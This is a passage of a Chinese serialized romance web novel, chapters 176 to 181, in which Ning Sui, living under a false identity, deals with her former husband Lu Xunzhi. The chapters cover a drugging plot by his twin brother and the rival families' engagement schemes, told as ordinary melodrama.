但陈耀东潜伏在里面,看到有人发,【陆家和陈家是不是要定亲了啊?@陆闻之@沈瑜你们两兄弟是要一起办酒席吗?】 下面都是一水的追问。 陆勋之的脸色黑得像锅底。 “我根本就没碰她。”他咬着后槽牙。 陈耀东挑高眉梢,“你跟我们说没用。你得跟陈家交代。” 怎么交代? 这几年,陈家是无条件支持陆勋之地。 他昏迷的那两年,要不是陈家一直扒着手里的资源给他留着,陆勋之早就被陆凛之压下去了。 就冲这厚重的情谊,陆勋之也不会轻易碰陈瑶。 除非他真的想娶陈瑶,跟陈家锁死。 陈家当然愿意,一直看好陆勋之,陈瑶也对陆勋之很有想法。 就看陆勋之的意思了。 现在陆勋之连拒绝的机会都没有。 不然就是打陈家的脸,陈家有多宝贝陈瑶,大家都看在眼里。 陆勋之要是拒绝,那是要逼死陈瑶。 “谁这么损,这是逼你就范。”陈耀东很护短,脸色也跟着黑下来,看向唐桓,“查了吗?” 唐桓有些为难,“查过了,陆总吃喝过的东西都查过,没问题。” 陆勋之捏了捏眉心,“那瓶水呢?”他顿了顿,语气有些异样,“闻之给我的那瓶。” “没找到,闻少带走了。” …… 宁穗吊完水出来,头重脚轻的感觉好了很多,但还是有些虚。 昨晚上到现在都没怎么吃东西,这会儿缓过来,宁穗觉得很饿,眼前一黑一黑的。 她赶紧去便利店买了个面包塞下去,低血糖的感觉缓解了一些。 但口渴的难受。 便利店里都是冰镇的饮料,找了半天没看到有热饮,她打算回酒店。 可在路边怎么都没叫到车,她虚脱地蹲坐在马路牙子上。 一辆车缓缓停在她跟前。 车窗缓缓落下,陆勋之苍白的冷脸露出来,一双眸子低垂着睨着她。 宁穗愣住。 对方视线上下打量了两个来回,幽幽问,“这么可怜?陆闻之不要你了?” 第176章 她并不想回到你身边 宁穗眉心微蹙,她可不想见到陆勋之,起身要往旁边走。 起得太猛,眼前一黑,手下意识地抓住了车窗框,才勉强站住。 一个力道拉住她的手腕,她迎上陆勋之担忧的视线。 “这么烫,病了?”陆勋之语气里带了几分焦急和生气,“陆闻之呢?就让你病着在大街上晃?” “看过病了,没事。”宁穗大脑都不转,只是本能地回答他,然后甩开他的手,扶着车身,转身要走。 身后传来开门声,下一秒,天旋地转,陆勋之将她打横抱起,粗暴地塞进车里。 宁穗想下车,可根本没力气。 身子一挨到卡帕皮的座椅上,便不想动了,想了想,自己还不知道什么时候能打上车。 没必要没苦硬吃,宁穗就不再挣扎。 男人跟坐上车,看到她没再折腾,便丢过来一样东西。 宁穗低头看了看,是一条深咖色的羊绒毯。 很柔软,很舒服。 宁穗往上拉了拉,“谢谢。” 声音干哑得不成样子,陆勋之眉心紧了紧,随手拿起水杯拧开,递了过去。 宁穗低头一看,水杯里还冒着袅袅热气,她的嗓子更干了,也没客气,接过来喝了一口。 温暖的水流顺着食道涌下去,她的身体也跟着舒适了一些。 车子缓缓驶入车流。 宁穗喝完水,将水杯放好,刚想说什么,便看到陆勋之靠在椅背上闭上了眼。 眼底的青色很浓,他看上去十分疲惫。 脑海里回放昨天的事。 后来宁穗跑回到房间,就没再出去。 冲进来的那个女人是陈瑶,她看到了。 但对方当时注意力都在陆勋之身上,没看到她的脸。 两人拉拉扯扯,最后进了陆闻之的房间。 会发生什么不言而喻。 今天群里炸了锅,那些看热闹的人还特意@她和陆闻之。 她只扫了一眼,没再看,也没回。 看来陈瑶和陆勋之的事要定下来了。 乔若钰这次出局了。 宁穗怔怔看着陆勋之的侧脸,男人突然睁开眼,视线暼过来,将她的凝望逮个正着。 偷看别人被人看个正着,多少有点尴尬。 宁穗讪讪地收回视线,好在她有面巾遮着,对方并看不清她的表情。 陆勋之没说什么,手机响起,他拿出来接听,那头唐桓声音窸窸窣窣地传出来。 车厢里很安静,宁穗听了个全乎。 “找太太的人又回来一批,还是没有消息。” 宁穗愣了愣,陆勋之居然还在找她? 陆勋之疲惫地捏了捏眉心,似乎对这个答案并不满意,“再找。” 手机挂断,陆勋之微微转头看向她,“刚才一直看着我,有话要跟我说?” 宁穗沉默没回应。 陆勋之破天荒地开口,似是在解释,“昨天我被人算计了。” 这算是对他昨天出格的行为给个交代。 “我没有碰陈瑶。” 这话一出,宁穗倏地看向陆勋之,“你没必要跟我说这些。我又不是陈家人。” 陆勋之薄唇抿起。 他也知道没必要。 可他就是不知道为什么,想说出来。 宁穗突然想到什么,“所以你一直在找你太太,是因为你不想跟陈瑶结婚,却又找不到别的理由?” 陆勋之眉心蹙起,语气不爽,“你为什么会这么想?” 宁穗看向前方,不再看他,“没什么,只是觉得,陆总不像是这么长情的人。” 这话很讽刺。 陆勋之这段时间,三番五次地骚扰她。 加上昨天的事,他发现自己不对劲的时候,应该找助理,找陆闻之,或者报警,打120。 而不是跑到她的房间,想要跟她发生点什么。 被人算计,这个借口实在有点拙劣。 陆勋之没说话,下颌紧绷。 宁穗心里冷笑,有种不吐不快的感觉,“陆总何必这样呢?你太太如果没死,也没回来找你,说明她并不想回到你身边。你找到她又能怎么样?拿她当挡箭牌?让好不容易活下来的人,在你面前逐渐枯萎,甚至死去?” “停车!”陆勋之阴沉的声音回荡在车厢里,车子猛然停住。 宁穗晃了一下。 “滚。”陆勋之丢下这一个字,又闭上了眼睛。 宁穗嘲讽勾唇,这是被她说中了,恼羞成怒? 她推开门,脚刚沾地,车子扬长而去。 车子疾驰而出带起的风,带得宁穗晃了晃。 宁穗自嘲地笑笑。 这么多年过去,陆勋之还是只顾着自己。 根本不会真的在乎她。 她是怎么会蠢到,以为他会真心忏悔。 …… 二十三小年,陆闻之带着宁穗回陆家。 一进门就看到了陈斌带着陈瑶,在跟陆老爷子聊天。 “陈家大概要跟我哥谈婚论嫁了。”陆闻之小声跟宁穗说,“乔家出局了。” 宁穗眯了眯眸子,她并不想看见陈家,但是总比乔家占了便宜好。 “年后我们订婚之后,我们就可以开始行动了。”陆闻之跟宁穗回了他的房间,宁穗一边帮他按摩腿,他一边说,“到时候我会安排一个合适的机会,让你和乔长年相认。乔家现在被我哥追着猛打,已经快要挺不住了。到时候我们抛出橄榄枝,他们一定会接。” 宁穗仰起头,问陆闻之,“你的腿还会好吗?” 陆闻之愣住,没想到她会突然提起这个,弯唇笑笑,“乖乖,你希望我好吗?” 宁穗很诚恳地点头,“希望。我记得我妈有个朋友是很厉害的中医。当年陆奶奶的病,就是我妈找那个朋友给治的。要不,我们去找他给你看看腿?” 陆闻之嘴角的笑意浅了几分,抬手摸摸宁穗的发顶,“现在还不是时候,等把你的事做完。好不好?我的腿拖了不是一天两天了,也不在这几个月。” 宁穗点头,乖巧地应声,“嗯。谢谢你,陆闻之。” 陆闻之被陆老爷子叫出去,宁穗自己在房间里待着。 没过一会儿,陆闻之给她发信息,让她去储藏间,帮他找一下相册。 宁穗起身走出房间,推开了一扇门,却正好看到一个宽肩窄腰的身影,背对着门,正在脱衣服。 宁穗一愣,赶紧垂下眸子,“对不起。” 转身要走,手腕上一紧,被人一把拉进去。 门在身后关上。 男人凛冽的气息瞬间包裹住她,但也只有两秒,他便撤开距离。 宁穗迎上陆勋之的冷脸,他看上去不太高兴,整个人都散发着冷冽的气息。 他手里拿着一件衬衫,上面沾了褐色的污渍。 视线微转,宁穗愣住。 陆勋之的胸膛和腹部,有好几个旧伤疤。 很深,看上去像是刀扎的。 有些年头了。 可她明明记得,陆勋之身上很干净,一点伤疤都没有。 第177章 如果是你呢? 陆勋之把她拉进屋里,却转过身去,并不理她,慢条斯理地开始换衣服。 宁穗想走,门外却传来脚步声和说话的声音。 “大少爷回房间换衣服了。” “哦,那麻烦你带我去他房间找他吧。” 宁穗手顿住,门外是陈瑶和佣人说话。 一时间,宁穗明白过来,陆勋之这是在躲着陈瑶。 她现在反而不能出去了。 要是被陈瑶撞上她和陆勋之在这个杂物间里待着,那真的说不清了。 宁穗突然有点烦,刚才陆勋之就应该把她赶出去,为什么要拉她进来。 偏偏陈瑶停下脚步,在外边跟佣人还聊了一会儿。 两人的声音压低了一些,宁穗耳朵贴到门板上,想听一听她们有没有走开。 陆勋之换上衬衣转身的时候,正好看到宁穗趴在门板上的样子。 狗狗祟祟的,有点搞笑。 他眯了眯眼睛,双手随意搭在身前,衬衣松松垮垮的,就系了三个扣子,人随意地靠在墙边,就这么看着她。 好不容易等陈瑶和佣人走远,宁穗才松了一口气,转身的时候,正好看见陆勋之矜贵恣意的样子,眉眼含笑,带着一点戏谑。 宁穗抿唇,没理他,而是转身去找陆闻之让她拿的东西。 相册就在一个箱子里,宁穗很容易就找到,拿起相册转身,便撞上一堵肉墙。 陆勋之身上淡淡的香味和热乎乎的气息,驱散了储藏室里淡淡的灰尘味道。 宁穗愣了愣,微微抬眼,正好看到他胸口上的伤疤。 看上去像是很深的疤。 还是在心脏附近,当时应该很凶险。 怔愣间,男人修长的手指扯动衣襟,挡住了疤痕,宁穗这才回神。 “请让开。”宁穗垂着眸子,语气很冷淡。 陆勋之却纹丝不动,宁穗拧眉抬眼看向他,男人一眨不眨地看着她,语气很是认真,“你那天说的是真的?” 宁穗,“?” “你说……”陆勋之表情有几分不自然,“她如果还活着,却没有回来找我,是因为太失望了。” 是字差点脱口而出,宁穗咬了下舌尖,冷淡道,“我又不是她。不知道她怎么想。” “如果是你呢?”陆勋之反问。 两人同时愣住。 陆勋之眉心拧出小山,他也不知道自己为什么要这么问。 大概是觉得眼前的女人实在跟宁穗太相似。 也许从她的口中能窥探到宁穗的想法。 这个念头一冒出来,陆勋之又觉得自己是真的疯了。 手机铃声划破了诡异的宁静。 宁穗拿出手机,接通了陆闻之的电话,那头传来陆闻之温和的声音,“乖乖,找到了吗?” 宁穗余光看了陆勋之一眼,“嗯,找到了,我马上回来。” 男人缓慢地让开空间,宁穗没再停留,快步出了储藏室。 宁穗回到客厅拐角处的时候,只剩下陆老爷子和陆闻之、陈斌三人在。 两个长辈正在聊股市,陆闻之在旁边偶尔发表一下意见。 陈斌明显对陆闻之也很满意,眼底都是赞赏的目光。 “可惜我没有两个女儿,不然真的想跟闻之也结亲家。”陈斌笑着说。 这话其实挺越界的,圈内谁不知道陆闻之年后就要订婚。 宁穗抿唇,静静待在原处,没往前走,这个时候过去,大家都尴尬。 身后传来脚步声,随即熟悉的味道钻进鼻尖。 男人信步越过她,走向前庭,拖着调子说:“你这么喜欢他,就直接让陈瑶跟他结婚,不就好了?” 陆勋之一句话将氛围一下搞尴尬了。 陈斌这才反应过来,自己说话是有点过分了,笑着道歉,“我是太喜欢闻之了。可我也不能替小瑶做主。” 陆勋之却不依不饶,嘴角噙着笑,走到陆闻之身后,微微倾身,手捏住陆闻之的下巴,脸凑过去。 “这张脸跟我长得一模一样,有时候,我自己都分不清。陈瑶真的分得清吗?”陆闻之嘴角勾着笑,眼底却一点笑意都没有。 氛围一下子更尴尬了。 陆闻之拨开他的手,“哥,别闹了。我有女朋友了。” 陆勋之不置可否地轻哼一声,站直身子,双手抄进兜里。 佣人上前,将手里的相册递给陆闻之,“二少爷,沈小姐让我给您的。” 陆闻之看着相册,眉头微微皱起,“她人呢?” “好像是去后花园了。”佣人说。 陆闻之跟陆老爷子和陈斌打了招呼,操控着轮椅就要去后园子。 陈瑶这时候从楼上下来,嗔怪陆勋之,“勋之哥,你去哪儿了?怎么没在房间啊?” 陆勋之很淡地扫了她一眼,转身往外走,“有点闷,想出去走走。” 陈瑶跟上,“我也一起。” 陆勋之突然顿住脚步,猛地低头凑到她跟前。 男人的气息瞬间涌过来,陈瑶红了脸。 可下一秒他的话,让她浑身僵住。 “陈瑶,你为什么会去找我?” 她到底是年轻,脸上的笑容僵硬住,都没来得及表情管理,瞬间出卖了她。 陆勋之冷哼一声,转身离开,陈瑶没敢追上去。 …… 宁穗在园子里看着水池里的鱼,花花绿绿的特别好看。 就坐在边上发呆。 这个位置,以前她就经常来。 一到陆家,被郑美婵和陆思思排挤的时候,她就会藏在这看鱼。 有一次,她手机没电了,陆勋之找不到她,最后好不容易在这看到她。 还开她玩笑,说这块石头都被她坐得光亮亮了。 思绪回到当下,宁穗忍不住轻笑出声,又突然顿住。 怎么会突然想起他啊。 不远处传来脚步声,宁穗倏地看过去,正看到陆勋之往这边来。 宁穗狠狠怔住。 对方视线明显落在她身上,但又很快移开,径直朝她身后的方向走去。 就好像没看到她似的。 宁穗垂了眸子,打算起身离开,身后的假山之后突然传来声音。 是陆勋之压抑着怒气的声音,“陆闻之,你为什么要给我下.药。” 随即是陆闻之温和的回答,“哥,你还是发现了啊?对,我承认,是我算计了你和陈瑶。” 宁穗的脚像是被钉在当场。 第178章 我可以娶你 陆勋之看到假山后匆匆离开的声音。 嘴角勾起嘲讽的弧度。 是啊,就算是陆闻之算计的他,跟她又有什么关系? 她根本不在乎。 甚至逃避知道这件事。 是在心疼陆闻之吗? 陆勋之回神,猛地抓住陆闻之的衣领,几乎要将人从轮椅上拎起来。 陆闻之头向后仰着,却一直笑。 “我问你为什么!”陆勋之怒火快要冲出发顶。 陆闻之丝毫没被他的情绪影响,“哥,你喜欢小瑜是吗?” 陆勋之唇角抿成直线,没有回答。 可根本不用他回答。 他中了招之后,没回自己的房间,径直去找了身为沈瑜的宁穗,足以说明一切。 陆闻之嘴角的笑意冷淡了几分,“可是哥,那是我的女人,你不该喜欢的。我只能把你推到别人床上。陈瑶不是挺好吗?陈斌一心想帮你,陈瑶又满心满眼都是你。比那个要利用你的乔若钰不是好很多吗?你会幸福的,哥,你相信我。” 陆勋之脸色暗沉下来,“你不是喜欢宋姜吗?她都给你生孩子了,你还要找别人的女人?你对得起宋姜?” 听到宋姜的名字,陆闻之的笑骤然收起,脸色瞬间苍白了几分,又暗沉下来,声音都带着哑。 “我不喜欢。” 陆勋之一愣,陆闻之趁着这个空档,将他的手推开。 与他拉开距离。 “我喜欢的人从来都不是宋姜。”陆闻之语气少有的锋利,“我喜欢的人是宁穗。” “那是你嫂子!”陆勋之几乎是低吼出声。 “是啊,是我的嫂子。但她为什么会选你,是因为我让给你的。”陆闻之笑了笑,“可你并没有善待她。现在你又要跟我抢沈瑜吗?哥……” 陆闻之艰难的摇摇头,“不要再毁掉她了,好不好?” 这话像是一根针,深深扎在陆勋之的心口上,让他疼得心慌。 “你也不要再找她了。她如果还在,不会不来找你。既然不来找你,那就说明,没你的生活,她过得很好。” “闭嘴!”陆勋之咬着后槽牙,眼前这个一模一样的脸,要不是他亲弟弟,早就将他一拳打进鱼池。 陆闻之深吸一口气,仰着头看他,脸色又无辜了几分,“哥,看在我的腿的份上,这一次,就把沈瑜让给我吧。” “哥,这是你欠我的。” 回答他的是长久的沉默。 片刻后,陆勋之缓缓蹲下身,手紧紧抓住陆闻之的大腿。 这双腿虽然瘫痪已久,但郑美婵的精心照顾之下,它们却异常有力,完全没有萎缩的迹象。 两双几乎一模一样的眼睛,却透着不一样的光芒。 “好,我答应你。”陆勋之听到自己说,“但只有这一次。” 他轻拍陆闻之的腿,“腿的事,就一笔勾销了。” 陆闻之的脸色淡了淡。 所以,如果再有下次,陆勋之不会再让着他。 …… 宁穗回去的时候,路过客厅,本想悄然走开,但被陈瑶叫住。 “沈姐姐,你一起来喝茶啊。爸爸和爷爷聊的事情我都没兴趣,我们两个一起聊女孩子的事呗。” 宁穗顿住脚步,看向陈瑶。 她听陆闻之说过,这两年,陈斌很看重和培养这个女儿,陈瑶也真的争气。 在进公司之后,也跟着做了几个大项目,合作伙伴给的评价很高。 是个有潜力的年轻人。 她会不懂陈斌和陆老爷子聊的事情吗? 也不尽然。 她大概只是想找个借口,让宁穗留下而已。 宁穗不动声色地看了一眼陆老爷子,那边虽然没看她,但余光明显是在关注她的。 年后就要订婚,订婚之前,宁穗不想多生枝节。 “好啊。”宁穗缓步走到陈瑶那边,选了一个空沙发,没跟陈瑶坐一起。 陈瑶却自来熟地靠坐过来,还热情地给宁穗倒茶,端水果和糕点。 俨然一副在自己家的样子。 宁穗看了她一眼。 比起五年前,陈瑶明显长开了,穿着和神情都是大人的样子。 跟以前懵懂幼稚的样子,完全是两个人。 “姐姐,你觉得我和勋之哥,般配吗?”陈瑶突然问。 宁穗拿起茶杯的手顿了一下,笑了笑说:“爷爷挺看好你们的。” 明显陆老爷子跟陈斌聊得不错,陆老爷子对陈瑶自然是满意的。 宁穗才不会去说什么般配不般配的话得罪人。 她跟陈瑶本来就不该有任何交集。 陈瑶似乎对这个回答很满意,唇角笑弯,脸颊染上一抹红色,少女的娇羞。 “刚才爷爷说,想让我跟勋之哥,还有你和闻之哥,一起订婚,双喜临门。” 陈瑶眨巴着水汪汪的大眼睛看着宁穗,“你怎么看啊?” “闻之同意就行,我没什么意见。”宁穗坦诚地说,她只想要一个陆家的名头,至于婚礼形式是什么样的,她并不在乎。 陈瑶又打量了她两眼,看她是真的不在乎,才放下心来。 陆勋之先一步回来,众人都看过去,陆勋之的视线最先攫住了宁穗。 可宁穗却看向他身后,在找陆闻之。 陆勋之的脸色沉下来。 陈瑶将两人的状态看在眼里,唇角抿成了直线。 “你别光顾着到处溜达,带着瑶瑶去转转。”陆老爷子看不下去,略微严肃地训斥道。 陈斌出来打圆场,“年轻人的事,我们就不管了。再说,瑶瑶跟勋之合作了这么久,早就熟悉了。” 陆老爷子笑了笑,他也没想让陆勋之听话。 这个家伙,就没听话的时候。 陆勋之这次却一反常态,双手抄兜,对陈瑶轻摆头,“走吧。” 陈瑶一愣,毕竟刚才陆勋之还给她脸色看,现在却真的要约她出去? 她赶紧起身,拿上自己的包,乖乖跟着陆勋之走出去。 宁穗全程没看陆勋之一眼,只专心看着门外。 没见到陆闻之,宁穗起身跟陆老爷子告辞,去找陆闻之。 老爷子也懒得管她,任她离开。 陈瑶跟着陆勋之到门外,一路到陆勋之的车上。 她都乖巧的,没有多说一句话。 一上车,挡板抬起来,空间封闭,暗昧的氛围一触即发,陈瑶的脸颊倏地滚烫起来。 “勋之哥……” “我可以娶你。”陆勋之冷不丁丢出一句话,陈瑶彻底懵了。 第179章 她还活着,我就不可能娶别人 幸福来得太突然,陈瑶愣了足足两秒,才笑成花朵一样,不由地抓住陆勋之的胳膊,“勋之哥,我——” 陆勋之一记眼刀瞥过来,落在陈瑶的手上,她讪讪地收回去。 她一直知道陆勋之有点洁癖,这些年他们相处下来,陆勋之很忌讳别人碰他。 衣角都不行。 陈瑶没在意这些细节,反正陆勋之松口了,那他早晚都是她的。 “我有个条件。”陆勋之冷淡开口。 陈瑶现在完全被冲昏了头脑,猛地点头,“你说,我什么都答应。” 陆勋之唇角勾起嘲讽,“是吗?什么都答应?” 她再次点头。 “这些年我一直在找我太太。”陆勋之斜睨着她,“而且我还会一直找下去。只要她还活着,我就不可能娶任何人。” 陈瑶的笑容僵硬在脸上,顿时急了,“那是什么意思?你还要继续找她?那我呢?你不是说会娶我吗?” 比起陈瑶的焦急,陆勋之却像是一潭死水,他垂了眸子,掩盖住眼底的异样,“不会太久,最多一年。如果还是找不到她……” 陆勋之像是很难接受这个结果,“我和你的事,可以提上日程。” 陈瑶松了一口气,一年而已,她可以等。 再说,陆勋之找了这么多年,怎么会突然找到呢。 就算是找到,她也可以让对方消失。 陈瑶笑开,“好,一年而已,我等。一言为定。” 她不想这件事就这样私下决定,她一定要捆绑住陆勋之。 “那我们先订婚好不好?年后,跟闻之哥他们一起。”陈瑶拉出陆闻之,也是给自己一个双保险。 只要陆勋之肯订婚,陆闻之一定会继续帮助自己。 陆勋之垂着眸子,不置可否。 许久,陈瑶听到他嗯了一声。 …… 临近过年,宁穗打算去给唐佳笑的孩子买点小礼物。 为了不起眼,她没戴面纱,而是戴了口罩墨镜和帽子。 捂得严严实实的。 她先去取了给悠悠准备的礼物,然后去儿童区选了好几样,打算送给唐佳笑的孩子。 买了好多,她拿不动,干脆请店员叫了同城闪送。 等同城小哥拿走之后,她才又在商场里逛了逛。 漫无目的,就是闲逛。 年根下,商场里人还挺多,宁穗跟着人流往前,打眼就瞧见了不远处的高大身影。 无论是长相、身量,在众生之中,实在太过眨眼。 陆勋之靠着栏杆,看着远处,衬衣袖口随意挽到手肘处,双手抄在口袋里,乍一眼冷清又带着一点点忧郁。 什么都不做,都吸引了不少女孩的关注。 还有胆子大的,拿着手机上前,应该是要联系方式。 陆勋之冷淡地摇头,随手指了一下旁边的店,意思是在等人。 拒绝了加好友。 宁穗顿住脚步,往旁边躲了躲,找了一处座位坐下,想陆勋之走了再说。 旁边坐下两个女孩,宁穗扫了一眼,是刚才跟陆勋之要联系方式的。 “你说他真有女朋友吗?我怎么不信呢!” “谁知道啊,但是人家都拒绝了,你还想怎么着啊?” “怎么着?我看看呗,谁知道是不是真有啊,哪有在外边等女朋友的啊。再说,就算是真出来一个女孩,那我就看看跟她比,我差在哪儿,要是不如我,那我就使一把力气呗!” “夭寿,你还想挖墙脚啊?” 两人头碰头笑,显然是在开玩笑,但好奇陆勋之的女朋友,倒是真的。 宁穗听着,竟下意识地也看向陆勋之那边。 不一会儿,陈瑶慌张地走出来,四处张望,最后看到不远处的陆勋之,才松了一口气。 “勋之哥,你怎么不在里面等我啊?”陈瑶虽然责怪,但声音跟撒娇似的。 陆勋之垂着眸子,淡淡说:“里面太闷。” 陈瑶失笑,“这可是这里最大最奢华的店里,哪里闷啊?你不会是没陪女生逛过街吧?” 陆勋之一愣,随即眉心皱出褶皱。 他还真的没怎么陪宁穗逛过街。 就有一次,是刚结婚的时候,是陆奶奶逼着他俩出去转。 最后宁穗只要了一个几百块的银饰手链。 她的审美一直很好,那个手链很好看。 只是这个价格,实在有点拿不出手。 当时他还笑话过宁穗,怎么会选这么简单的东西。 宁穗当时挽住他的手,甜甜的样子,他现在都记得,她说:“只要是你送的,我都喜欢。” 陆勋之的思绪回到当下,眼前甜美的笑容,慢慢变成陈瑶不解的脸。 他眼底闪过一丝嫌恶,“我对这种事,没兴趣。”直接驳回了陈瑶的面子。 其实刚才话一出口,陈瑶就知道自己说错话了,陆勋之明显表情不太好。 脸色讪讪,但还是找补道,“你这么忙,不喜欢逛街,也很正常。那什么,我已经买好了,我们去吃饭吧。你想吃什么?” 说话间,她自然地伸手,想挽住陆勋之,但男人迈开步子,躲开了她的触碰。 陈瑶手扑了空,悬在空中,有几分尴尬。 她下意识地看向周围,好在没人关注她,她赶紧追上陆勋之。 不远处看热闹的两人连连叹气。 “人家一看就是白富美,你没戏了。” “是呢。”想追陆勋之的女孩也没当回事,“走吧,咱们去吃顿好的,安慰我受伤的心灵。” 两人说说笑笑离开。 宁穗收回视线,陈瑶和陆勋之看样子是真的要在一起了。 他居然会陪着陈瑶逛街。 太阳从西边出来了。 宁穗淡笑一声,起身,打算去找个地方吃饭。 等吃完,她去等电梯,人挺多的,她走上去,随即高大的身影便往她身旁凑。 她低着头往旁边躲,那个身影也跟着挤过来。 宁穗只当时人太多,没多想,等她被挤到角落,她退无可退,那个身影不偏不倚地站在她跟前,给他围出了一个空间。 让她不至于被人群拥挤,她这里反而很宽敞。 宁穗缓缓抬头,扫了一眼眼前的人,瞬间愣住。 高大的身影,平直宽厚的肩膀,还有透着矜贵和高傲的后脑勺。 她惊了一下,又赶紧低下头,将帽檐压得低低的。 一旁的陈瑶没注意到她,低声对陆勋之说:“勋之哥,一会儿去我公寓吧。” 她说话声音很小,但是宁穗离得近,恰巧听到了。 就像是情人之间的邀请,懂得都懂。 宁穗尽量减轻自己的存在感,但她还是忍不住看了一眼陆勋之,看到对方点了点头。 第180章 像是在看陌生人 电梯到负一层,人流涌出电梯,宁穗最后一个走的,还特意等了等,看着陆勋之和陈瑶离开,她才下电梯。 走出来才发现,自己刚才太紧张,忘记把车停到了负二层,竟然跟着下到了负一层。 宁穗转身想回去坐电梯下去,一辆车突然冲出来,猛地急停在她跟前,还有十厘米就撞上她了。 宁穗愣在当场,没人会在地库里开这么快,还差点撞到人。 “不好意思啊。”副驾驶探出头来,是陈瑶,她没认出宁穗。 宁穗下意识地看向驾驶座,陆勋之满眼的冷漠,正看着她,像是在看陌生人。 她抿唇摇头,没说什么,快速往旁边走,让出位置。 车子疾驰而出。 陈瑶看向陆勋之,他开车好像挺小心的,刚才不知道为什么,看到那个女人出来,就冲了上去。 “你认识刚才那个人吗?”陈瑶好奇地问。 陆勋之很快地扫了一眼后视镜,看到宁穗转身进了电梯厅,脸捂得严严实实的。 穿了一件深咖色的短款羽绒服,紧身的牛仔裤,腰细腿长。 那腰身让人一眼认出来了。 他收回视线,淡漠地回,“不认识。” 陈瑶想说,刚才她真以为陆勋之要撞那个女人,两人可不像不认识,倒像是有私人恩怨似的。 但她张了张嘴,什么都没说。 转了话题,“勋之哥,我公寓离景园挺远的,但是离你公司很近,你今晚要不要……”留宿。 陆勋之却直接打断了她,“我送你回公寓,就要紧急出差。” 陈瑶一愣,刚才陆勋之同意跟她回公寓,她还幻想了一下。 想着一会儿开瓶酒,酒精一烘托,也许就成了。 男人都是下半身动物,也许睡着睡着,就把前妻丢到九霄云外了。 但是现在陆勋之明显就没想跟她回家。 陈瑶不满,小声嘟囔,“都年根底下了,还要出差啊。” 陆勋之脑海里不断回放刚才那副腰身,心底莫名烦躁了几分。 说话的语气也差了不少,“陆凛之出院之后就一直在外边跑,你以为他在玩吗?他现在这个鬼样子,最大的赢面就是赶紧拿下更大的项目,赶我出局。” 他冷涔地扫了一眼陈瑶,“我要是被赶出局,你猜你爸还会让你嫁给我吗?” 陈瑶还想说什么,咬了咬唇,没直接说。 她现在不想惹怒陆勋之,但是心里又不舒服。 她低头掏出手机,给陈斌发了信息过去,问陈斌是不是这个情况。 陈斌回得很快,侧面印证了陆勋之的话,还不忘劝解她,【勋之现在腹背受敌,你多体谅,乖女儿。】 听到陈斌也这么说,陈瑶心里好受了不少。 她乖巧地转身看向陆勋之,“那你什么时候回来啊?” 陆勋之兴致明显不高,“不知道。” 陈瑶咬了咬唇,勉强挤出笑容,从小到大,家里都是宠着她,尤其是在她生病之后,更是把她捧在手心里。 她不断给自己做心理建设,将来做人家妻子,是要好好包容,她缓了缓,笑着说:“嗯,那你出差,多多注意身体。” …… 因为陈瑶的突然出现,乔若钰跟陆勋之的婚事,彻底告吹。 乔家跟陆家的合作也陷入停滞。 正在准备年后上市的乔家,因为这件事,一下子被放出不好的消息,上市的事,现在吉凶难料。 乔长年扬言让她去取悦陆凛之,但是乔若钰不从。 他干脆把乔若钰关在家里,不让出去,还饿了好几顿。 但反转来得很快,新势力的项目给到三房名下。 可其中一个技术突然暴雷,整条生产线都被停滞。 陆凛之去海城,打算用新项目对冲之前的损失。 一家新公司,手里是最新的智能辅助驾驶里的关键技术,陆凛之去找了几次,对方的面都没见到。 结果陆勋之先一步谈成了合作,甚至自己拉了融资,没用陆氏的一分钱。 这个项目一下子扑朔迷离。 到底算陆勋之自己的,还是陆氏的,现在全凭陆勋之一句话。 三房那边没了竞争力,陆凛之也不是香饽饽。 乔若钰又被放出来,乔长年就一个要求,现在要挽回乔家的声誉,不然就把她嫁到南非,换矿产回来。 宁穗是从唐佳笑那知道,乔若钰打算找王习合作。 自从王三保被救回来之后,就直接退休了。 他名下的一切有形无形的资产,都已经交给王习打理。 王习也是厉害,包括自己的馆在内,一下子开出十几个分馆,徒弟也收了不少。 王三保的徒弟徒孙,队伍一下子庞大起来。 他现在是继王三保之后,最有名望的内画师傅。 “我听王习哥说,乔家现在要跟他合作。”唐佳笑一听到这个消息就给宁穗打了电话过去,“但我怎么记得乔家不是要跟陆勋之联姻吗?” 唐佳笑并不知道里面的状况,宁穗现在也解释不清楚,只是问,“那师兄是什么意思?” “不好说,他现在要考虑的事情很多。”唐佳笑实话实说,“也许会合作吧,就看乔家是怎么谈了。” 宁穗当然不想给乔家这个翻身的机会,“笑笑,你能帮我约一下师兄吗?” 陆勋之在海城待了三天,事情完全按照他的预想进行。 这一遭,三房那边,大概好一阵子没办法找他的麻烦。 他应该高兴的,可看到手机里陈瑶发来的各种试探和关心的信息,他却一点都不想回御城。 “陆总,还是没有消息。”唐桓这五年来,带回来的都是没有消息。 宁穗就像是真的在那一场大火中,灰飞烟灭了。 他甚至想,陆勋之现在一定是魔怔了,只是不想接受现实而已。 陆勋之捏了捏眉心,“知道了。继续找。”还是那句老话。 唐桓没反驳,人有时候应该有点念想。 回想起,陆勋之刚苏醒的那段时间,他每天都跟失忆了一样,睁开眼第一句话就是问,“宁穗来看我了吗?” 可宁穗那时候都失踪两年了。 要是真活着,早该回来找了。 可是没有。 唐桓不忍心,每次回答都是还在继续找。 可是天大地大,去哪儿找呢。 陆勋之下车,迈开步子往会所里走,他今天要去见一个客户,可掀起眼皮,就看到了一个熟悉的曼妙身影。 看到她旁边的人,陆勋之眉心拧起小山。 第181章 你为什么认识王习 那两个身影一闪而过,陆勋之都没来得及细看。 “怎么了?陆总。”唐桓见他不动,也顺着他看的方向看过去,并没有发现什么异常。 陆勋之烦躁地捏捏眉心。 他是怎么了,怎么总是看到那个身影。 “闻之和他……女朋友在哪?”陆勋之突然问。 唐桓赶紧问了下,自从上次陆闻之居然给陆勋之下.药,撮合他和陈瑶之后。 陆勋之就让人关注着陆闻之的动向。 “陆总,二少和沈小姐,都在御城,大概是准备……年后订婚的事。” 陆勋之心里一梗,他就不该问,现在心里更不舒服了。 他烦躁地摆摆手,“知道了。以后他俩的事不要跟我说。” 唐桓,“?”不儿,是谁问的啊。 陆勋之没有幻视,宁穗确实来了海城,见到了王习。 “沈小姐,请问你托唐佳笑约的目的是?”五年每年,王习的样子几乎没有怎么变。 但气质又完全不同了。 以前还带着一丝书卷气,但现在的王习明显带着大家之风。 宁穗一直都知道,王习能顶起一片天地,是王三保看重的接班人。 但是当年她也很优秀,要不是被陆家的人连累,借着当初周家办的巡展。 宁穗也一定能有一番更大的作为。 后来听唐佳笑说,桑甜把这次巡展做得很大,唐佳笑也受益不小,现在国内也是一梯队的内画师了。 见她没说话,但又隔着面巾,王习看不清她的表情。 